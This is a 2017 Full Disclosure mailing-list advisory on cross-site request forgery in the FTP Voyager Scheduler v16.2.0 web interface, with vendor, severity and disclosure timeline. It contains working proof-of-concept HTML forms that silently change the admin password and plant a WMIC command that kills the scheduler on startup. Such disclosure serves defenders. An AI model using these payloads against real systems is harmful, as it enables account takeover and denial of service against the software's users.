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Message-ID: <CAFD2FDPtzcZjpq3DpOCRZectRgLFBy4sR7+B8fYWfU4kY=pK4w@mail.gmail.com>
Date: Thu, 9 Mar 2017 20:54:08 -0500
From: hyp3rlinx <apparitionsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] FTP Voyager Scheduler v16.2.0 CSRF Remote Command Execution

[+] Credits: John Page AKA hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/FTP-VOYAGER-SCHEDULER-CSRF-REMOTE-CMD-EXECUTION.txt
[+] ISR: ApparitionSec



Vendor:
==============
solarwinds.com
www.serv-u.com



Product:
====================
FTP Voyager Scheduler
v16.2.0



Vulnerability Type:
=============================
CSRF Remote Command Execution



CVE Reference:
==============
N/A



Security Issue:
================
Multiple cross site request forgeries exist in the Web Interface side of
FTP Voyager Scheduler running on port 52986.
Allowing remote attackers to make HTTP requests on behalf of an
authenticated user if that user visits a malicious
webpage or clicks an attacker supplied link.

FTP Voyager has a scheduler feature that lets users create tasks/commands
to execute on some type of other action like
when Directorys are created, files uploaded/downloader, Scheduler starts or
stops and so forth. Remote attackers who
successfully pull off CSRF exploitation can do things like change the Admin
password or cause a persistent Denial of Service
by setting the task to terminate "FTP Voyager Scheduler" itself upon
startup among other nefarious things.




Exploit/POC:
=============

Default login no password, then set a password in FTP Voyager Scheduler Web
interface.

Upon CSRF the user will get a HTTP Response will be like below, we can
prevent user from seeing this message
targeting hidden iframe in webpage.

<response><result>0</result><ResultText>Operation was
successful.</ResultText><ObjectID>141175</ObjectID></response>



1) Change Admin passwd

<iframe name="hideme" style="display:none" ></iframe>

<form target="hideme" action="
http://localhost:52986/Admin/XML/Result.xml?Command=UpdateObject&Object=CScheduler.0.Scheduler.0&StaticOnly=1&Sync=666"
method="post">
<input type="hidden" name="AdminPassword" value="PWN123">
<input type="hidden" name="ConfirmAdminPassword" value="PWN123">
<input type="hidden" name="RemoteAdmin" value="1">
<input type="hidden" name="RemoteAdminPort" value="52986">
<input type="hidden" name="RemoteAdminSSL" value="0">
<script>document.forms[0].submit()</script>
</form>



2) Persistent Denial Of Service uses call to WMIC

<form action="
http://localhost:52986/Admin/XML/Result.xml?Command=AddObject&Object=CEventAttrs.0.FVSEvent&Sync=666"
method="post">
<input type="hidden" name="EventName" value="PWN">
<input type="hidden" name="Description" value="Run Command!">
<input type="hidden" name="Enabled" value="1">
<input type="hidden" name="EventID" value="1"> <!-- Run on Scheduler Start
event -->
<input type="hidden" name="Action" value="2">
<input type="hidden" name="multiselect_Action" value="2">
<input type="hidden" name="EmailToAddress" value="evil@...s.abyss">
<input type="hidden" name="EmailToAddressBCC" value="">
<input type="hidden" name="ExeFilePath"
value="C:\Windows\System32\wbem\WMIC.exe">
<input type="hidden" name="ExecWaitSecs" value="5">
<input type="hidden" name="Data1" value="process where name='FTP Voyager
Scheduler.exe' call terminate">
<input type="hidden" name="Data2" value="&">
<script>document.forms[0].submit()</script>
</form>



Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
=======================================
Vendor Notification: November 30, 2016
Result:  No Reply
Second Notification Attempt: March 5, 2017
Result:
March 9, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c)

hyp3rlinx

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